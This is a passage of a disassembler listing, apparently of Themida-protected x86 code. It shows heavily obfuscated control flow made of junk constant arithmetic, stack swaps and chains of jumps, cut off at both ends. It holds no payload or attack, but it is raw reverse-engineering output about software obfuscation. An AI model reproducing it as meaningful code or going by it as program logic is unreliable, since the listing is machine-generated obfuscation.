and ebx, ecx
mov ecx, [esp+8+var_8]
jmp loc_5592D9
; ---------------------------------------------------------------------------
loc_557669: ; CODE XREF: sub_556A70-322Fj
add edx, edi
sub edx, 7C0B03B8h
jmp loc_55A4CD
; ---------------------------------------------------------------------------
loc_557676: ; CODE XREF: Themida_:0055579Bj
mov edi, esp
add edi, 4
push eax
mov eax, 524979F6h
not eax
shl eax, 3
xor eax, 6DB4304Ch
add edi, eax
jmp loc_557705
; ---------------------------------------------------------------------------
loc_557695: ; CODE XREF: sub_556A70+100j
sub esi, 69A13174h
add esi, 6B8F73D7h
add esi, ebp
sub esi, 6B8F73D7h
push ebp
push ecx
mov ecx, 554E5022h
jmp loc_557AAD
; ---------------------------------------------------------------------------
loc_5576B5: ; CODE XREF: sub_556A70-3AC8j
add ecx, ebx
mov ebx, [esp+4+var_4]
jmp loc_551593
; ---------------------------------------------------------------------------
loc_5576BF: ; CODE XREF: sub_556A70-45B4j
or ebp, 14035E37h
and ebp, 0A416A75h
sub ebp, (offset loc_416A72+2)
mov esi, ebp
pop ebp
and eax, esi
push dword ptr [esp+0]
pop esi
push eax
push edx
jmp loc_555F2F
; ---------------------------------------------------------------------------
loc_5576E1: ; CODE XREF: sub_558287+1j
mov ebp, 4D334869h
add [esp+8], ebp
pop ebp
pop esi
mov esi, [esp+0]
add esp, 4
jmp loc_553A21
; ---------------------------------------------------------------------------
loc_5576F7: ; CODE XREF: Themida_:0055C34Ej
mov edi, [esp-4+arg_0]
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557705: ; CODE XREF: sub_556A70+C20j
pop eax
jmp loc_55CAC9
; ---------------------------------------------------------------------------
loc_55770B: ; CODE XREF: sub_556A70+5FF6j
not eax
sub eax, 258EE23h
mov ecx, eax
pop eax
add edi, ecx
pop ecx
xchg edi, [esp+8+var_8]
pop esp
jmp loc_5571A6
; ---------------------------------------------------------------------------
loc_557721: ; CODE XREF: sub_556A70-476Fj
sub edi, edx
pop edx
add ecx, edi
pop edi
push esi
push 4
pop esi
add ecx, 436B7536h
add ecx, esi
jmp loc_55A827
; ---------------------------------------------------------------------------
loc_55773B: ; CODE XREF: sub_55ABA3-7C50j
mov ebp, [esp+0]
add esp, 4
add ebx, 54867D39h
jmp loc_555667
; ---------------------------------------------------------------------------
loc_55774F: ; CODE XREF: sub_556A70-7D4j
xor ebp, [esp+0]
pop esp
pop ecx
add ecx, 3F584D13h
push 2785h
mov [esp-4+arg_0], edx
mov edx, esp
jmp loc_55A7B0
; ---------------------------------------------------------------------------
loc_557769: ; CODE XREF: Themida_:0055550Aj
push edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp-4+arg_0]
jmp loc_552AF1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl [esp-6+arg_0+2], cl
pushf
jmp loc_552704
; ---------------------------------------------------------------------------
loc_55778F: ; CODE XREF: sub_556A70-5AB4j
add ecx, 3DF410E1h
add ecx, eax
sub ecx, 3DF410E1h
jmp loc_55BFDA
; ---------------------------------------------------------------------------
loc_5577A2: ; CODE XREF: sub_556A70-16CAj
xor ecx, [esp-4+arg_0]
xor [esp-4+arg_0], ecx
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5577AD: ; CODE XREF: sub_557D5C+4AE1j
xchg ebx, [esp-4+arg_0]
pop esp
and eax, ebx
jmp loc_557916
; ---------------------------------------------------------------------------
loc_5577B8: ; CODE XREF: Themida_:00553B73j
pop ebx
jmp loc_5571BB
; ---------------------------------------------------------------------------
loc_5577BE: ; CODE XREF: sub_556A70+3089j
shl ecx, 2
xor ecx, 3E910574h
sub ecx, 0FBE4D5ECh
and eax, ecx
mov ecx, [esp-0Ch+arg_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
or eax, eax
jz loc_5581BD
push dword ptr [edi+1Ch]
push ebx
mov ebx, esp
add ebx, 4
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55ADF8
; ---------------------------------------------------------------------------
loc_557804: ; CODE XREF: Themida_:00558FAFj
sub edi, 5271410Ch
sub edi, ebp
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 5271410Ch
jmp loc_556A54
; ---------------------------------------------------------------------------
loc_55781C: ; CODE XREF: sub_556A70-4997j
xchg edx, [esp+4+var_4]
pop esp
push 7BBh
mov [esp+4+var_4], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
push ebx
mov ebx, esp
push esi
jmp loc_5517E7
; ---------------------------------------------------------------------------
loc_557840: ; CODE XREF: Themida_:0055BDD0j
xchg eax, [esp+8+var_8]
pop esp
jmp loc_553019
; ---------------------------------------------------------------------------
push [esp+4+var_4]
pop ecx
push eax
mov eax, esp
push edi
mov edi, 19973FBEh
push esi
mov esi, 68C009C8h
sub edi, esi
jmp loc_55AD31
; ---------------------------------------------------------------------------
loc_557863: ; CODE XREF: sub_559CCC-7D0Ej
pop ecx
xor ecx, 637B757Ah
pop ebx
xor [edi+24h], ecx
mov ecx, [esp+8+var_8]
jmp sub_553B16
; ---------------------------------------------------------------------------
loc_557876: ; CODE XREF: Themida_:00552493j
add esi, 2
jmp loc_551431
; ---------------------------------------------------------------------------
loc_55787E: ; CODE XREF: Themida_:005542BAj
shr ecx, 7
not ecx
push edx
mov edx, 886D8604h
xor ecx, edx
mov edx, [esp+0Ch+var_C]
push 3763h
jmp loc_550DC2
; ---------------------------------------------------------------------------
loc_557898: ; CODE XREF: sub_556A70-33DCj
xor ebp, 513760DFh
not ebp
sub ebp, 0FFFFFFFFh
xor ebp, 0E6879099h
jmp loc_55996C
; ---------------------------------------------------------------------------
loc_5578AE: ; CODE XREF: Themida_:0055C254j
pop eax
pop ecx
sub esp, 4
jmp loc_552473
; ---------------------------------------------------------------------------
loc_5578BB: ; CODE XREF: sub_556A70-E62j
add esp, 4
push esi
push [esp+8+var_4]
mov esi, [esp+0Ch+var_C]
jmp loc_5519D2
; ---------------------------------------------------------------------------
loc_5578CB: ; CODE XREF: Themida_:00558132j
push esi
push esp
pop esi
sub esp, 4
mov [esp+14h+var_14], edi
mov edi, 4
add esi, edi
mov edi, [esp+14h+var_14]
push edi
mov edi, esp
push 4A23h
mov [esp+1Ch+var_1C], ebx
jmp loc_55161A
; ---------------------------------------------------------------------------
loc_5578F1: ; CODE XREF: sub_556A70-1624j
or word ptr [esp-28h+arg_24], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5578FB: ; CODE XREF: sub_5526D6+354j
push ebp
mov ebp, 458D187Eh
add ebp, 0A41BA5h
sub ebp, 596063E4h
not ebp
dec ebp
inc ebp
jmp loc_552B4C
; ---------------------------------------------------------------------------
loc_557916: ; CODE XREF: sub_556A70+D43j
mov ebx, [esp-8+arg_4]
jmp loc_55702F
; ---------------------------------------------------------------------------
loc_55791E: ; CODE XREF: sub_556A70+EE1j
push 49C0h
mov [esp-4+arg_0], ebx
jmp loc_556C72
; ---------------------------------------------------------------------------
loc_55792B: ; CODE XREF: Themida_:0055AD96j
mov ecx, esp
push eax
jmp loc_557088
; ---------------------------------------------------------------------------
loc_557933: ; CODE XREF: sub_556A70+5E2j
sub ch, 72h
mov dl, ch
pop ecx
add al, 0D8h
sub al, dl
sub al, 0D8h
jmp loc_5514F4
; ---------------------------------------------------------------------------
loc_557944: ; CODE XREF: sub_55C746-358Fj
sub edi, 4
xchg edi, [esp+4+var_4]
pop esp
mov [esp+0], ecx
jmp loc_55791E
; ---------------------------------------------------------------------------
loc_557956: ; CODE XREF: sub_554E85-23A6j
mov [esp+0], ebp
push edx
mov edx, 0B97497Ah
push ebx
mov ebx, 1D5F689Bh
mov ebp, 11E81F21h
sub ebp, ebx
jmp loc_55CB9D
; ---------------------------------------------------------------------------
loc_557971: ; CODE XREF: Themida_:005516A1j
push ecx
mov ch, 0B4h
neg ch
jmp loc_55CBFF
; ---------------------------------------------------------------------------
mov eax, [esp+0Ch+var_C]
push edi
push esp
pop edi
sub esp, 4
mov [esp+14h+var_14], ebx
push edx
push 6FF35D54h
pop edx
jmp loc_558926
; ---------------------------------------------------------------------------
loc_557996: ; CODE XREF: sub_556A70+618Aj
mov [esp+18h+var_18], eax
jmp loc_559E41
; ---------------------------------------------------------------------------
loc_55799E: ; CODE XREF: sub_55292B+5FDAj
mov cl, dl
pop edx
mov dl, cl
pop ecx
jmp loc_55B137
; ---------------------------------------------------------------------------
loc_5579A9: ; CODE XREF: sub_556A70+55DCj
and eax, edx
push [esp+10h+var_10]
pop edx
sub esp, 4
mov [esp+14h+var_14], edi
jmp loc_55CA51
; ---------------------------------------------------------------------------
loc_5579BA: ; CODE XREF: sub_553E75+EEj
add esp, 4
xor al, ch
pop ecx
sub esp, 2
mov word ptr [esp+10h+var_10], bx
mov bh, 5
push ebx
jmp loc_5538EF
; ---------------------------------------------------------------------------
loc_5579D2: ; CODE XREF: Themida_:005514E7j
push ebx
mov ebx, 408F3315h
sub ebx, 5089AA90h
jmp loc_5538F8
; ---------------------------------------------------------------------------
loc_5579E3: ; CODE XREF: Themida_:00559FFEj
pop esi
jmp loc_553FE3
; ---------------------------------------------------------------------------
loc_5579E9: ; CODE XREF: Themida_:00556260j
push esp
pop ebp
jmp loc_55A023
; ---------------------------------------------------------------------------
loc_5579F0: ; CODE XREF: sub_556A70-5EA3j
add edi, 4
push ecx
mov ecx, 4
jmp loc_554BE7
; ---------------------------------------------------------------------------
loc_557A01: ; CODE XREF: Themida_:00558123j
add esp, 4
add ecx, 406969B3h
xor eax, ecx
mov ecx, [esp-0Eh+arg_8+2]
add esp, 4
sub esp, 4
mov [esp-0Eh+arg_8+2], esi
push ebx
mov ebx, 304D1E28h
inc ebx
dec ebx
push ecx
jmp loc_55A289
; ---------------------------------------------------------------------------
loc_557A2C: ; CODE XREF: Themida_:00559C55j
sub al, bl
push ecx
mov ch, 1Bh
not ch
and ch, 20h
xor ch, 0A3h
inc ch
shl ch, 7
sub ch, 0EFh
sub al, ch
pop ecx
jmp loc_551E62
; ---------------------------------------------------------------------------
loc_557A49: ; CODE XREF: Themida_:00553A02j
xor ecx, 9F85E9E4h
add ebp, 778947F4h
jmp loc_5549ED
; ---------------------------------------------------------------------------
loc_557A5A: ; CODE XREF: Themida_:0055BCD9j
add esi, 6F124F5Bh
add esi, 8ADFBDE1h
mov ecx, esi
pop esi
add ebp, ecx
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
jmp loc_55B643
; ---------------------------------------------------------------------------
loc_557A79: ; CODE XREF: sub_553B16-130Fj
add eax, edx
add eax, 36003F46h
pop edx
push 60AEh
mov [esp-0Eh+arg_8+2], esi
push 1E376550h
pop esi
sub esp, 4
mov [esp-0Ah+arg_4+2], esi
xchg edi, [esp-0Ah+arg_4+2]
not edi
xchg edi, [esp-0Ah+arg_4+2]
pop esi
jmp loc_5574D9
; ---------------------------------------------------------------------------
loc_557AA3: ; CODE XREF: sub_556A70-3D7j
add esp, 4
neg ebx
jmp loc_553BF4
; ---------------------------------------------------------------------------
loc_557AAD: ; CODE XREF: sub_556A70+C40j
add ecx, 53F76094h
add ecx, 570C598Eh
neg ecx
add ecx, 38F48756h
mov ebp, ecx
pop ecx
sub ebp, 0CF014B9Eh
add esi, ebp
pop ebp
mov ebp, [esp-12h+arg_C+2]
add esp, 4
jmp loc_55BC36
; ---------------------------------------------------------------------------
loc_557AD8: ; CODE XREF: sub_556A70-1492j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557ADD: ; CODE XREF: Themida_:0055688Aj
add ecx, 6469351Ah
shl ecx, 4
xor ecx, 68864862h
jmp loc_556A8F
; ---------------------------------------------------------------------------
loc_557AF1: ; CODE XREF: sub_550F53+7452j
sub esp, 4
jmp loc_55A22B
; ---------------------------------------------------------------------------
loc_557AF9: ; CODE XREF: sub_556A70-58C0j
add al, dh
pop dx
pop ecx
mov cx, word ptr [esp-14h+arg_10]
add esp, 2
jmp loc_5572D9
; ---------------------------------------------------------------------------
loc_557B0D: ; CODE XREF: sub_556A70+1Aj
push 6761h
mov [esp+18h+var_18], ecx
mov cl, 8Bh
not cl
add cl, 0B6h
jmp loc_5573BD
sub_556A70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557B21: ; CODE XREF: sub_556A70+4E1Aj
sub esi, 567C0FBDh
push esi
pop edx
jmp loc_554B0C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557B2E: ; CODE XREF: Themida_:00559D2Aj
mov [esp], edi
mov edi, 3869509Dh
mov edx, edi
mov edi, [esp]
add esp, 4
jmp loc_55BEAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557B46: ; CODE XREF: sub_556A70+4CA3j
add esp, 4
shr edi, 2
shl edi, 1
push ebp
jmp loc_55C010
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557B54: ; CODE XREF: Themida_:0055C40Aj
mov esp, [esp]
or [esp], eax
pushf
jmp loc_551CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557B60: ; CODE XREF: sub_556A70+3FC5j
mov [esp+18h+var_18], eax
jmp loc_55345F
; ---------------------------------------------------------------------------
loc_557B68: ; CODE XREF: sub_556A70-4B79j
add edi, 0FFFFFFFFh
not edi
or edi, 72DF61EFh
jmp loc_55567C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557B78: ; CODE XREF: Themida_:005558BBj
push esi
mov esi, 5F6A6CDEh
xor eax, esi
pop esi
not eax
jmp loc_55B313
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
lodsd
push ebp
push edx
mov edx, 4D0E4BFCh
shl edx, 3
sub edx, 459B5B0Ah
mov ebp, edx
pop edx
sub eax, ebp
pop ebp
add eax, ebx
jmp loc_55B84F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557BB6: ; CODE XREF: sub_556A70+438Ej
xchg ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], edi
mov edi, 4
jmp loc_554CF4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557BC9: ; CODE XREF: Themida_:00553F35j
mov ecx, esp
jmp loc_55530D
; ---------------------------------------------------------------------------
loc_557BD0: ; CODE XREF: Themida_:00555145j
sub edi, edx
jmp loc_55CFBB
; ---------------------------------------------------------------------------
loc_557BD7: ; CODE XREF: Themida_:00559B4Ej
mov ebx, [esp]
jmp loc_555FC6
; ---------------------------------------------------------------------------
loc_557BDF: ; CODE XREF: Themida_:00551F83j
add al, 0EBh
push 2CBDh
jmp loc_550FFE
; ---------------------------------------------------------------------------
loc_557BEB: ; CODE XREF: Themida_:0055C7A0j
shl ch, 1
shl ch, 6
sub esp, 4
jmp loc_55AF0F
; ---------------------------------------------------------------------------
loc_557BF8: ; CODE XREF: Themida_:00552977j
push ebx
push edi
mov edi, 68890363h
jmp loc_55AE94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557C04: ; CODE XREF: sub_556A70+38E7j
push edx
push eax
push 42B015CAh
mov eax, [esp+4+var_4]
add esp, 4
add eax, 33D1FA5Eh
jmp loc_556E53
; ---------------------------------------------------------------------------
loc_557C1E: ; CODE XREF: sub_556A70-1123j
shr edi, 3
add edi, 3A9646EAh
add edi, 0BF35147h
mov eax, edi
pop edi
push ecx
push esi
jmp loc_556910
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557C37: ; CODE XREF: Themida_:00558161j
pop ebp
push ebx
mov ebx, 24890F87h
shl ebx, 4
push ebp
mov ebp, 362F464Dh
sub ebx, 74C50F42h
add ebx, ebp
add ebx, 74C50F42h
pop ebp
shl ebx, 8
not ebx
jmp loc_558641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557C60: ; CODE XREF: sub_556A70-4756j
xor byte ptr [esp+4+var_4], al
xor al, byte ptr [esp+4+var_4]
xor byte ptr [esp+4+var_4], al
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557C6E: ; CODE XREF: sub_556A70-F91j
mov ax, word ptr [esp-1Ah+arg_14+2]
push edi
jmp loc_559E34
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557C78: ; CODE XREF: Themida_:0055B936j
add ebx, 2
xchg ebx, [esp]
jmp loc_55526D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557C86: ; CODE XREF: sub_556A70-F80j
xchg ecx, [esp-1Ah+arg_14+2]
pop esp
xchg eax, [esp-1Eh+arg_18+2]
pop esp
jmp loc_55B869
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557C93: ; CODE XREF: Themida_:0055BBEFj
push edx
jmp loc_5538A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557C99: ; CODE XREF: sub_556A70+1CFj
pop eax
add edi, ebx
pop ebx
jmp sub_5525ED
; ---------------------------------------------------------------------------
loc_557CA2: ; CODE XREF: sub_556A70+3689j
dec byte ptr [esp+0]
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5ED6h
mov [esp], esi
jmp loc_558990
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557CBC: ; CODE XREF: sub_556A70+3D7Cj
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557CCA: ; CODE XREF: sub_556A70+43Aj
add ebx, eax
push dword ptr [ebx]
pop ecx
mov ebx, [esp+0Ch+var_C]
jmp loc_5542CC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557CD7: ; CODE XREF: Themida_:0055139Ej
pop esp
add ecx, 4
jmp loc_552D57
; ---------------------------------------------------------------------------
loc_557CE3: ; CODE XREF: Themida_:0055AC0Cj
mov [esp], ebx
push edx
jmp loc_555899
; ---------------------------------------------------------------------------
loc_557CEC: ; CODE XREF: Themida_:00553FC2j
pop esp
add ebx, 4
sub ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_55AD38
; ---------------------------------------------------------------------------
loc_557D16: ; CODE XREF: Themida_:00552759j
mov [esp], edx
mov dl, 66h
mov bl, 8
add bl, dl
mov edx, [esp]
push esi
mov esi, esp
jmp loc_559C43
; ---------------------------------------------------------------------------
loc_557D2A: ; CODE XREF: Themida_:0055CB26j
sub eax, 7A3A57AFh
pop edx
push 6134h
mov [esp], ecx
push edi
mov edi, 38B05C02h
sub edi, 0BB31F34Ah
push eax
jmp loc_55BA9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557D4A: ; CODE XREF: sub_556A70+3767j
pop edi
sub ebx, eax
jmp loc_553101
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
jmp loc_5557BB
; =============== S U B R O U T I N E =======================================
sub_557D5C proc near ; CODE XREF: sub_556A70+6E4j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C83A SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push edx
mov edx, 40000h
mov ebx, edx
push [esp+8+var_8]
pop edx
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
jmp loc_55C83A
sub_557D5C endp
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_557581
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557D8B: ; CODE XREF: sub_556A70+4726j
push esi
mov esi, 3F676AC6h
add esi, 1F9A4AF6h
jmp loc_557DE5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557D9C: ; CODE XREF: Themida_:005589E3j
inc eax
sub eax, 0D5344B01h
mov ecx, eax
pop eax
jmp loc_552EAD
; ---------------------------------------------------------------------------
loc_557DAA: ; CODE XREF: Themida_:005593E4j
sub dh, 4Fh
jmp loc_55156A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557DB2: ; CODE XREF: sub_556A70-2099j
mov [esp-24h+arg_20], eax
push 66D6h
mov [esp-20h+arg_1C], esi
push 6EE1h
mov [esp-1Ch+arg_18], ecx
mov ecx, 0BF67025h
mov esi, 48DB8433h
sub esi, ecx
pop ecx
xor [esp-20h+arg_20], esi
jmp loc_5546CB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
jmp loc_5528A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557DE5: ; CODE XREF: sub_556A70+1327j
push edi
mov edi, 0FA717812h
xor esi, edi
pop edi
sub edi, esi
pop esi
add edx, edi
pop edi
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557DF9: ; CODE XREF: Themida_:0055CD19j
pop ecx
push eax
mov eax, 49EA4F24h
and eax, 605F4590h
jmp loc_55CECE
; ---------------------------------------------------------------------------
loc_557E0A: ; CODE XREF: Themida_:00552D64j
mov cx, [esp]
push 4853h
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push edi
mov edi, 18607DE7h
sub edi, 18607DE3h
add esi, edi
pop edi
push 6689h
mov [esp], eax
push esi
jmp loc_554956
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557E3A: ; CODE XREF: sub_556A70-29A8j
and eax, esi
push [esp+8+var_8]
pop esi
push esi
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
jmp loc_5545D4
; ---------------------------------------------------------------------------
loc_557E63: ; CODE XREF: sub_556A70-13Ej
add ebx, 479E4C50h
jmp loc_557295
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557E6E: ; CODE XREF: Themida_:00553BC5j
xor edx, 77081A1Fh
sub edx, 0E2900EC0h
xor ebx, edx
mov edx, [esp]
jmp loc_5530CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_557E84: ; CODE XREF: sub_559F87-18D4j
push 1CCAh
mov [esp+0], edx
mov dl, 0EAh
push ebx
mov bl, 0EEh
neg bl
shr bl, 7
inc bl
add bl, 93h
jmp loc_5557AE
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557EA0: ; CODE XREF: sub_556A70-1808j
xor ebx, eax
jmp loc_55A9C5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_557EA7: ; CODE XREF: Themida_:00559765j
push esp
pop dword ptr [esp]
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_557561
; =============== S U B R O U T I N E =======================================
sub_557EBA proc near ; CODE XREF: sub_5582B3-1E0Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055A41B SIZE 0000004C BYTES
push ebp
mov ebp, 79A55250h
or ebp, 1B572952h
neg ebp
add ebp, 0FFFFFFFFh
shl ebp, 7
shr ebp, 2
xor ebp, 365FC63Bh
sub ebx, ebp
pop ebp
mov ebp, [esp+0]
push ebp
push esp
jmp loc_55A41B
sub_557EBA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557EE7: ; CODE XREF: sub_556A70-391Bj
sub ecx, ebp
pop ebp
xchg ecx, [esp+4+var_4]
pop esp
jmp loc_5570F9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550E2C
loc_557EF3: ; CODE XREF: sub_550E2C+3j
mov [esp+4+var_4], esi
push 437616D2h
pop esi
add esi, 2676350Dh
not esi
jmp loc_557F90
; END OF FUNCTION CHUNK FOR sub_550E2C
; =============== S U B R O U T I N E =======================================
sub_557F09 proc near ; CODE XREF: sub_5516F8+98FDj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00551062 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055550F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055639E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559D44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B69F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055BFB9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C157 SIZE 0000000E BYTES
push ebx
push 561665CAh
pop ebx
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 4A627CC0h
shl ebp, 8
xor ebp, 523FC757h
and ebx, ebp
push [esp+8+var_8]
jmp loc_55B69F
sub_557F09 endp
; ---------------------------------------------------------------------------
loc_557F31: ; CODE XREF: Themida_:00552E1Fj
and al, 73h
push ecx
mov ch, 0E6h
jmp loc_551999
; ---------------------------------------------------------------------------
loc_557F3B: ; CODE XREF: Themida_:00554DECj
mov ebx, edx
mov eax, ebx
pop ebx
pop edx
mov ebx, 43970571h
jmp loc_55B6EA
; ---------------------------------------------------------------------------
loc_557F4B: ; CODE XREF: Themida_:00558315j
pop ebp
add eax, 2B4764FDh
add eax, ecx
jmp loc_554E62
; ---------------------------------------------------------------------------
loc_557F58: ; CODE XREF: Themida_:00556092j
push eax
mov al, ch
jmp loc_55C4A1
; ---------------------------------------------------------------------------
push 2FFAh
mov [esp], ebp
push ebx
mov ebx, 2A9343B6h
sub ebx, 0FFFFFFFFh
push eax
push ebx
mov ebx, 0D0518E9h
jmp loc_55979D
; ---------------------------------------------------------------------------
loc_557F80: ; CODE XREF: Themida_:00558D2Aj
mov [esp], edi
push esp
pop edi
add edi, 4
jmp loc_551EAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550E2C
loc_557F90: ; CODE XREF: sub_550E2C+70D8j
shr esi, 2
jmp loc_552E96
; END OF FUNCTION CHUNK FOR sub_550E2C
; ---------------------------------------------------------------------------
loc_557F98: ; CODE XREF: Themida_:005521FCj
mov esp, [esp]
jmp loc_55951E
; =============== S U B R O U T I N E =======================================
sub_557FA0 proc near ; CODE XREF: sub_556A70+665j
; FUNCTION CHUNK AT 00552BFF SIZE 00000011 BYTES
push ebx
push 18872C14h
pop ebx
jmp loc_552BFF
sub_557FA0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_557FAC: ; CODE XREF: sub_552B74+282Aj
xor [esp+0Ch+var_C], esi
jmp loc_55856F
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_557FB4: ; CODE XREF: sub_556A70+7C1j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A6CD
loc_557FB9: ; CODE XREF: sub_55A6CD-70EAj
pop esp
push edi
push ebp
push 28E6F0Ah
jmp loc_55991D
; END OF FUNCTION CHUNK FOR sub_55A6CD
; ---------------------------------------------------------------------------
loc_557FC6: ; CODE XREF: Themida_:0055AFDDj
sub ebx, 0A2A9DE49h
add eax, ebx
pop ebx
xchg eax, [esp]
pop esp
push ebp
mov ebp, 13ABF6B5h
jmp loc_55571F
; ---------------------------------------------------------------------------
loc_557FDE: ; CODE XREF: Themida_:00554E03j
pop edi
xchg eax, [esp]
mov esp, [esp]
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_558D56
; ---------------------------------------------------------------------------
loc_557FF3: ; CODE XREF: Themida_:005557CEj
mov edx, esp
push 4C61h
mov [esp], ebx
mov ebx, 4
jmp loc_55A7FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558007: ; CODE XREF: sub_556A70+3BB1j
sub ecx, 4
xchg ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], edi
mov edi, esp
jmp loc_552A62
; ---------------------------------------------------------------------------
loc_55801A: ; CODE XREF: sub_556A70+4DA6j
mov [ecx], al
mov ecx, [esp+0]
jmp loc_55A7E6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
jmp loc_552A2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558033: ; CODE XREF: sub_556A70+5CD1j
mov ecx, 699E6B59h
shl ecx, 6
xor ecx, 4D5A1555h
not ecx
jmp loc_555BFC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558048: ; CODE XREF: Themida_:00552DF9j
not ebx
xor ebx, 60DB49FFh
and ebx, 13793FADh
jmp loc_559C82
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55805B: ; CODE XREF: sub_556A70+1FE7j
mov edx, 0ED392407h
add edx, edi
